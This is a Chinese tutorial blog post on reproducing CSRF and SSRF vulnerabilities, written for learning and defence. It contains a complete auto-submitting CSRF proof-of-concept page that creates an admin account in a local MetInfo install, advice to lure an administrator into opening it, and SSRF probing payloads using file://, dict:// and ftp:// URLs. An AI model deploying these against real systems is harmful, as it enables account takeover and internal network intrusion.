深入探究CSRF与SSRF漏洞复现:从原理到实践

在当今网络安全领域,跨站请求伪造(CSRF)和服务器端请求伪造(SSRF) 已成为两种常见且严重的漏洞类型。随着Web应用程序的复杂性不断增加,这些漏洞的危害也愈发显著。作为一名开发者或安全研究人员,理解并能够复现这些漏洞对于提升自身的安全防护能力至关重要。

本文将带领您深入探究CSRF和SSRF漏洞的原理,并通过实际案例进行漏洞复现。无论您是网络安全新手,还是经验丰富的专业人士,都能从本文中获取宝贵的知识和实用技能。让我们一起揭开CSRF与SSRF的神秘面纱,提升我们的安全意识和应对能力。

CSRF

  1. 概念
    1. CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为“One Click Attack”或“Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的QQ号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。
  2. 条件
    1. 目标用户已经登录了网站,能够执行网站的功能。
    2. 目标用户访问了攻击者构造的URL。
  3. 复现
    1. 下载安装csrftester,配置端口代理

    2. 利用csrftester捉取构造index.html数据包

      1. 数据包数据包内容如下

        1.   index.html
            <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
          
            <html>
            <head>
            <title>cong</title>
            </head>
          
            <body onload="javascript:fireForms()">
            <script language="JavaScript">
            var pauses = new Array( "1132","36","70","73","79","77","85","87","1152","1176","1091","41","74","84","77","80","79","90","88","1094","86" );
          
            function pausecomp(millis)
            {
                var date = new Date();
                var curDate = null;
          
                do { curDate = new Date(); }
                while(curDate-date < millis);
            }
          
            function fireForms()
            {
                var count = 21;
                var i=0;
          
                for(i=0; i<count; i++)
                {
                    document.forms[i].submit();
          
                    pausecomp(pauses[i]);
                }
            }
          
            </script>
            <H2>OWASP CRSFTester Demonstration</H2>
          
            </form>
            <form method="POST" name="form8" action="http://127.0.0.1/metinfo/admin/admin/ajax.php?lang=cn&anyid=47&action=admin&id=xiaodi">
            <input type="hidden" name="name" value="value"/> 
            </form>
            <form method="POST" name="form9" action="http://127.0.0.1/metinfo/admin/admin/save.php?action=add&lang=cn&anyid=47">
            <input type="hidden" name="useid" value="cong"/>
            <input type="hidden" name="pass1" value="cong"/>
            <input type="hidden" name="pass2" value="cong"/>
            <input type="hidden" name="name" value="cong"/>
            <input type="hidden" name="sex" value="0"/>
            <input type="hidden" name="tel" value=""/>
            <input type="hidden" name="mobile" value="13333333333333"/>
            <input type="hidden" name="email" value="471656814@qq.com"/>
            <input type="hidden" name="qq" value=""/>
            <input type="hidden" name="msn" value=""/>
            <input type="hidden" name="taobao" value=""/>
            <input type="hidden" name="admin_introduction" value=""/>
            <input type="hidden" name="admin_group" value="3"/>
            <input type="hidden" name="langok" value="metinfo"/>
            <input type="hidden" name="langok_cn" value="cn"/>
            <input type="hidden" name="langok_en" value="en"/>
            <input type="hidden" name="langok_tc" value="tc"/>
            <input type="hidden" name="admin_pop1801" value="1801"/>
            <input type="hidden" name="admin_op0" value="metinfo"/>
            <input type="hidden" name="admin_op1" value="add"/>
            <input type="hidden" name="admin_op2" value="editor"/>
            <input type="hidden" name="admin_op3" value="del"/>
            <input type="hidden" name="admin_pop" value="yes"/>
            <input type="hidden" name="admin_pops1301" value="s1301"/>
            <input type="hidden" name="admin_popc1" value="c1"/>
            <input type="hidden" name="admin_popc2" value="c2"/>
            <input type="hidden" name="admin_popc3" value="c3"/>
            <input type="hidden" name="admin_popc25" value="c25"/>
            <input type="hidden" name="admin_popc31" value="c31"/>
            <input type="hidden" name="admin_popc32" value="c32"/>
            <input type="hidden" name="admin_popc33" value="c33"/>
            <input type="hidden" name="admin_popc36" value="c36"/>
            <input type="hidden" name="admin_popc42" value="c42"/>
            <input type="hidden" name="admin_popc43" value="c43"/>
            <input type="hidden" name="admin_popc49" value="c49"/>
            <input type="hidden" name="admin_popc44" value="c44"/>
            <input type="hidden" name="admin_popc50" value="c50"/>
            <input type="hidden" name="admin_popc45" value="c45"/>
            <input type="hidden" name="admin_popc46" value="c46"/>
            <input type="hidden" name="admin_popc47" value="c47"/>
            <input type="hidden" name="admin_popc68" value="c68"/>
            <input type="hidden" name="admin_popc69" value="c69"/>
            <input type="hidden" name="admin_popc70" value="c70"/>
            <input type="hidden" name="admin_popc86" value="c86"/>
            <input type="hidden" name="admin_popc84" value="c84"/>
            <input type="hidden" name="admin_popc87" value="c87"/>
            <input type="hidden" name="admin_popc88" value="c88"/>
            <input type="hidden" name="admin_popc92" value="c92"/>
            <input type="hidden" name="admin_pop9999" value="9999"/>
            <input type="hidden" name="admin_pops1401" value="s1401"/>
            <input type="hidden" name="admin_pops1106" value="s1106"/>
            <input type="hidden" name="admin_pops1404" value="s1404"/>
            <input type="hidden" name="admin_pops1406" value="s1406"/>
            <input type="hidden" name="admin_pops1101" value="s1101"/>
            <input type="hidden" name="admin_pops1102" value="s1102"/>
            <input type="hidden" name="admin_pops1505" value="s1505"/>
            <input type="hidden" name="admin_pops1507" value="s1507"/>
            <input type="hidden" name="admin_pops1503" value="s1503"/>
            <input type="hidden" name="admin_pops1504" value="s1504"/>
            <input type="hidden" name="admin_pops1006" value="s1006"/>
            <input type="hidden" name="admin_pops1501" value="s1501"/>
            <input type="hidden" name="admin_pops1601" value="s1601"/>
            <input type="hidden" name="admin_pops1603" value="s1603"/>
            <input type="hidden" name="admin_pops1004" value="s1004"/>
            <input type="hidden" name="admin_pops1005" value="s1005"/>
            <input type="hidden" name="admin_pops1007" value="s1007"/>
            <input type="hidden" name="admin_pops1103" value="s1103"/>
            <input type="hidden" name="admin_pops1201" value="s1201"/>
            <input type="hidden" name="admin_pops1002" value="s1002"/>
            <input type="hidden" name="admin_pops1003" value="s1003"/>
            <input type="hidden" name="admin_pops1104" value="s1104"/>
            <input type="hidden" name="Submit" value="保存"/>
            </form>
          
          
            </body>
            </html>
          
          
    3. 将其放入服务器,诱导管理员点击

  4. 修复
    1. 验证referer头
    2. 增加token功能

SSRF

  1. 概念
    1. SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞是一种安全漏洞,攻击者通过伪造服务器端请求,利用服务器作为代理向内部或外部网络发送恶意请求。这样,攻击者可以访问原本无法直接访问的内部资源、敏感数据或进行其他恶意操作,导致信息泄露、服务中断等安全问题。
  2. 复现
    1. 服务探针
      1. 可以用来探测主机开了哪些服务,例如下图主机开了思源笔记的伺服功能

    2. 内网扫描
      1. 可以扫描下内网主机的存活数量,也可以进行爆破

    3. 协议玩法
      1. file:///D:/www.txt
      2. dict://127.0.0.1:3306
      3. ftp://192.168.46.148:21
  3. —SSRF黑盒可能出现的地方:
    1. 社交分享功能:获取超链接的标题等内容进行显示
    2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
    3. 在线翻译:给网址翻译对应网页的内容
    4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
    5. 图片/文章收藏功能:主要是取URL地址中title以及文本的内容作为显示以求一个好的用户体验
    6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
    7. 网站采集,网站抓取的地方:一些网站会针对你输入的URL进行一些信息采集工作
    8. 数据库内置功能:数据库的比如MongoDB的copyDatabase函数
    9. 邮件系统:比如接收邮件服务器地址
    10. 编码处理,属性信息处理,文件处理:比如FFmpeg, ImageMagick, docx, pdf, xml处理器等
    11. 未公开的API实现以及其他扩展调用URL的功能:可以利用Google语法加上这些关键字去寻找SSRF漏洞

    一些URL中的关键字:share、 wap、 uri、 link、 src、 source、 target、 u、 3g、 display、 sourceURI、 imageURL、 domain…

通过本文的学习,我们不仅了解了CSRF与SSRF漏洞的基本原理,还掌握了如何在实际环境中复现这些漏洞。安全防护始于了解威胁,通过对漏洞的深入探究,我们能够更好地识别并修复潜在的安全隐患。

在这个信息化高速发展的时代,网络安全已成为不可忽视的重要领域。希望本文能为您在安全防护之路上提供帮助,激发您对网络安全的兴趣与热情。让我们共同努力,构建一个更加安全的网络环境。如果您有任何疑问或建议,欢迎在评论区与我们分享交流。谢谢您的阅读,期待您的反馈与互动!

  • 10
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值